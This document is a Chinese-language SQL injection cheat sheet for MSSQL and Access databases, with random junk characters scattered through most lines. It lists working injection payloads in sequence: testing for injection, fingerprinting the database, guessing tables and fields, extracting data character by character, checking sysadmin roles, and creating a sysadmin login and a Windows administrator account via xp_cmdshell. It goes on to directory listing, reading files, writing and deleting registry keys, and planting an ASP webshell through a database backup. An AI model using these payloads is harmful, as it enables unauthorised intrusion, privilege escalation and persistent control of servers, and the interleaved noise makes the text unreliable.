1.判断是否有注入;and 1=1 ;and 1=2 39{{7(hh
2.初步判断是否是mssql ;and user>0 )pw&c_x
*%Qn{x
3.注入参数是字符'and [查询条件] and ''=' s08u @
rzp +:
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ,mPnQ?
Oo?,fw
5.判断数据库系统 4E44Hzs
Y+/JsOD
;and (select count(*) from sysobjects)>0 mssql D .vw8H3
jQU"Ved
;and (select count(*) from msysobjects)>0 access K!D
o8|
P?BGBbC
{f9{8-W<u
0oy-os
6.猜数据库 ;and (select Count(*) from [数据库名])>0 jClj_E
]0D}T'wM
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 [6jbgW~E
ThW,Y"
l
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 @1zQce>
K}[>T(0E
9.(1)猜字段的ascii值(access) cYNJhGY
,?
E&V_5
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 9iN.3/T8
HG/p$L*
(2)猜字段的ascii值(mssql) # N~,F@t
w",?
Bef
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 F#xa`*AP
Ou'?]{
10.测试权限结构(mssql) l0*Gb
}awzO#
?_\$
4^6.~6a
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 7dihVvL
$
Q bhW!9(,
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- DaNW~rd{
wo5ZxM
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ^s\3/z>b4!
qdCWy
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- {Hr$wa~
wLuv6\E
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- _eLWQ|6Fx
59(U `X
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- fJjgq)9
iq?#rb P#I
;and 1=(select IS_MEMBER('db_owner'));-- ~Lfcg*
P[t$\FS
-6Tk<W
@|bP+8oU
11.添加mssql和系统的帐户 33:DH}
P+e KZo
;exec master.dbo.sp_addlogin username;-- 7#;vG>]
;exec master.dbo.sp_password null,username,password;-- X
fz`^x>M
j-]&'-h}#
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- QzGV.Mt2
%IL6ix
;exec master.dbo.xp_cmdshell 'net user username password kfC0zd+
B68H&h]D#'
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 4{9d#[KW
x@P{l&:>
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6FfOH<\z6i
} :iBx
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- b|^I<7
wh 0<Uv
zH)_vW
9-*NW0
12.(1)遍历目录 4C~UcGMv\
"
oy\_1|
;create table dirs(paths varchar(100), id int) jm>3bd
Hr;h4J
;insert dirs exec master.dbo.xp_dirtree 'c:\' B7NtkMK
5,+\`!g
;and (select top 1 paths from dirs)>0 qZ2&Xw.{1
ScnY3&rc
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ~>ME'D~
%@&a7JOL
{I%y;Aab8
jigs6#
(2)遍历目录 Iyk6=&?j
t[.W$1=
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- U`R;P-
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 !7H6i#g*
zLjgCS<7
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ZIxRyo-i
]XUl@Y.
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 r$)$n&j
;##]G=%
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 lXrD!1F
g: %9jf
"#^MUQ!a
O]u",J5
13.mssql中的存储过程 7r{qJ7$%
kL{;.WsB
xp_regenumvalues 注册表根键, 子键 T)u4S[
&
s(@h 2:j
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 wV<7pi
&R$Q\,
xp_regread 根键,子键,键值名 kv|,b
-$Y8!5 4
;exec xp_regread ^,s?e.u$8`
fhpX/WE6
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 dK?);*w]
&TN2 HZ-bJ
xp_regwrite 根键,子键, 值名, 值类型, 值 Yt1mB[&f^
N}/>r D
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 !oSLl.fQd
4-4?IwS
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 H;vZm[\0N-
QrjDF>
xp_regdeletevalue 根键,子键,值名 Rmh*TQu
Vk<k +=7
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 \&|CM8A
?_4^le[;
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 :F|\Ij0T
M$#sc`4*
=DgCC|p
\d68-JS@~
14.mssql的backup创建webshell E1q%gi4 Q%
;"7/@&M\m
use model ^KHLBSc:
3l:XhLOj
create table cmd(str image); 6OUvrfC(H
U ^#?&u
insert into cmd(str) values (''); U~is-+Uq
Y5TS>iEE]
backup database model to disk='c:\l.asp'; swr"k6;G
;x[pM_
")\aJ8
eqzTQen8q
15.mssql内置函数 =t+ ('
)5l u.R%
;and (select @@version)>0 获得Windows的版本号 ~@M7&%]
k&Jo"[i&WO
;and user_name()='dbo' 判断当前系统的连接用户是不是sa r%MyR8'k]
R$0U<(/
;and (select user_name())>0 爆当前系统的连接用户 t{(Mf2GR1
2;(W-]V?
;and (select db_name())>0 得到当前连接的数据库 ZxSsR{
Bhuw(KeB
$adq7
Z.jCera.
16.简洁的webshell gA
+:CgQ
OD4W}Y.
use model jb@\i@-
_
VKgs]Y
create table cmd(str image); edN8-P(
z-Hkz
insert into cmd(str) values (''); >}]H;&
l
U1\MA6pXW
backup database model to disk='g:\wwwtest\l.asp';